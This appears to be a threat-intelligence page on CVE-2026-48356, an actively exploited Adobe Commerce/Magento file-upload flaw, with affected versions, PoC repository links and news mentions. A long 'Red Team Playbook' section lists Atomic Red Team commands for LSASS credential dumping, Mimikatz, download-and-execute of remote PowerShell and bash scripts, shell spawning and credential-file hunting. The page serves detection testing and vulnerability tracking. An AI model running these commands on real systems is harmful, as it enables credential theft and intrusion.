CVE-2026-48356
Vulnerability Description
Adobe Commerce is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (171)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:-:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p1:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p10:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p11:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p12:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p13:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p14:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p15:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p16:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p17:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p18:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p2:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p3:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p4:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p5:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p6:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p7:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p8:*:*:*:*:*:*
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Adobe | Commerce | 2.4.4 |
cpe:2.3:a:adobe:commerce:2.4.4:p9:*:*:*:*:*:*
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Adobe | Commerce | 2.4.5 |
cpe:2.3:a:adobe:commerce:2.4.5:-:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
piecar21/CVE-2026-48356
PoC / exploit archive for CVE-2026-48356
|
piecar21 | 0 | 0 | 2026-10-27 | View |
|
abraxas/CVE-2026-48356
CVE-2026-48356 - Magento Open Source - Critical 9.3 - Unauthenticated POST /rest/default/V1/guest-carts/{cartId}/items -...
|
abraxas | 0 | 0 | 2026-09-26 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 23 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (38)
28 mentions from 23 sources in the last 7 days BuzzFactor 89 / 100
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social infosec.exchange @beyondmachines1 2026-10-28 10:01 UTCAdobe Commerce and Magento Under Active Attacks via Critical File Upload Flaw CISA reports active exploitation of Adobe Commerce and Magento critical file upload vulnerability (CVE-2026-48356) that allows remote code execution. CISA has ma…Open source
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social bsky.app @e-kiledjian.bsky.social 2026-10-28 09:04 UTCAdobe Commerce PolyShell Attacks Breach Hundreds of Stores as Brotli Exploit Traffic Emerges CISA on Tuesday added the Adobe Commerce and Magento vulnerability CVE-2026-48356 (CVSS 9.3), known as PolyShell, to its Kno... https://threatinte…Open source
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social bsky.app 2026-10-28 08:14 UTCAdobe Commerce/Magento CVE-2026-48356 (CVSS 9.3, file upload to code execution) is now on CISA KEV as exploited. Fix shipped in July under APSB26-73; Commerce Events needs 1.21.0. Sweep pub/media for .php files. https://cti.securitycyber.ukOpen source
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social bsky.app @cybowl.bsky.social 2026-10-28 07:44 UTC🔴 Exploitation confirmée (CISA KEV, ajouts du 27/10) · 1 • Adobe Commerce and Magento CVE-2026-48356, CVSS 9.3Open source
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social bsky.app @arttonews.com 2026-10-28 07:01 UTC电商网站被盯上了!近千家Magento中招,后门加载器最狠的地方是:修了也可能还在Open source
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news rescana.com 2026-10-28 06:30 UTCAdobe Commerce and Magento CVE-2026-48356 (PolyShell) Added to CISA KEV: Apply APSB26-73 and Check for Planted Files - RescanaOpen source
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social bsky.app @threatspotai.bsky.social 2026-10-28 06:30 UTC🚨 CISA KEV Alert CVE-2026-48356: ⚠️ CVE-2026-48356: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 30.6% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-48356-adobe-comme…Open source
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news thehackernews.com 2026-10-28 05:42 UTCAdobe Commerce PolyShell Attacks Breach Hundreds of Stores as Brotli Exploit Traffic Emerges - The Hacker NewsOpen source
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social bsky.app @thecircuitry.to 2026-10-28 03:48 UTCCISA added an Adobe Commerce and Magento file-upload flaw, CVE-2026-48356, to its KEV catalog. Federal agencies must remediate by Nov 10; Adobe patched it on July 14. thecircuitry.to/article/cisa-adds-exploited-adobe-commerce-and-magento-f…Open source
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social bsky.app @unnchain.bsky.social 2026-10-28 03:08 UTCECサイトで広く使われるAdobe Commerce/Magento Open Sourceの脆弱性CVE-2026-48356(危険なファイルを無制限にアップロードできる欠陥、深刻度Critical)が、実際の攻撃に悪用されているとして10/27にCISAのKEVへ追加されました。修正は7月のAPSB26-73で公開済み(2.4.9-2026-jul、2.4.8-2026-julなど)。未適用の店舗は今すぐ更新を。 https://helpx.adobe.com/secu…Open source
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social bsky.app @securityonline.bsky.social 2026-10-27 23:52 UTCCISA KEV catalog adds actively exploited Magento flaw CVE-2026-48356 and Brotli vulnerability CVE-2026-111497. Patch before November 10. #CISA #KEV #Magento #AdobeCommerce #Brotli #CVE202648356 #CVE2026111497 #ActiveExploitationOpen source
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social bsky.app @mariogalarza.bsky.social 2026-10-27 22:43 UTCCISA adds 2 actively exploited flaws to KEV: Adobe Commerce/Magento upload flaw CVE-2026-48356 + Google Brotli CVE-2026-111497. Patch now, then hunt for pre-patch compromise. https://www.linkedin.com/feed/update/urn:li:share:75209784542348…Open source
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social bsky.app @aipostdaily.bsky.social 2026-10-27 21:20 UTCCISA added CVE-2026-48356 to its Known Exploited Vulnerabilities list (2026-10-27). Adobe Commerce and Magento Unrestricted Upload of File with Dangerous Type EPSS 30 days before listing: 0.010 · today: 0.306 #infosec #KEVOpen source
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social infosec.exchange @secdb 2026-10-27 21:01 UTC🚨 [CISA-2026:1027] CISA Adds 2 Known Exploited Vulnerabilities to Catalog ( https:// secdb.nttzen.cloud/security-ad visory/detail/CISA-2026:1027 ) CISA has added 2 new vulnerabilities to its Known Exploited Vulnerabilities Catalog, based o…Open source
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social bsky.app @vulnidx-jp.bsky.social 2026-10-27 20:55 UTC【悪用確認】CVE-2026-48356 アドビのAdobe Commerce等の複数製品における危険なタイプのファイルの無制限アップロードに関する脆弱性 Adobe Commerce and Magento CISA 追加 10/27・対応期限 11/10 https://jvndb.jvn.jp/ja/contents/2026/JVNDB-2026-023891.html #脆弱性 #KEVOpen source
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social bsky.app @ninjaintelgroup.bsky.social 2026-10-27 20:15 UTC🚨 NEW on CISA KEV — exploited in the wild Adobe Commerce and Magento: Adobe Commerce and Magento Unrestricted Upload of File with Dangerous Type Vulnerability CVE-2026-48356 · patch by 2026-11-10 🔗 https://ninjasignal.ninja/intel/cve/CVE-2…Open source
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social bsky.app @malice.ai 2026-10-27 20:11 UTCThe critical file-upload flaw, rated CVSS 9.3, has a CISA remediation due date of November 10; Adobe's CVE record, published July 14, lists July 2026 versions as unaffected.Open source
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social bsky.app @cyfar.ca 2026-10-27 20:01 UTC~Cisa~ CISA added exploited Adobe Commerce/Magento and Google Brotli flaws to its KEV Catalog. - IOCs: CVE-2026-48356, CVE-2026-111497 - #CVE-2026-111497 #CVE-2026-48356 #ThreatIntelOpen source
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code github.com piecar21 2026-10-27 19:52 UTCpiecar21/CVE-2026-48356Open source
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social bsky.app @cisa-feed-onblue.bsky.social 2026-10-27 19:44 UTCLatest post from CISAOpen source
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social infosec.exchange @117202824925377048 2026-10-27 19:35 UTCCISA adds node2shell (broccoli2shell?) CVE-2026-111497 (Google Brotli Unchecked Return Value) and Adobe Commerce/Magento unrestricted file upload CVE-2026-48356 to the KEV Catalog: https://www. cisa.gov/news-events/alerts/20 26/10/27/cisa-…Open source
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social bsky.app @fc-vulns.bsky.social 2026-10-27 15:30 UTCCVE-2026-48356: EPSS +29.6 points (1.0 → 30.6, 0–100 scale). Don’t miss this EPSS jump. https://www.fc-vulns.com/cve/CVE-2026-48356/ #fcvulns #EPSSOpen source
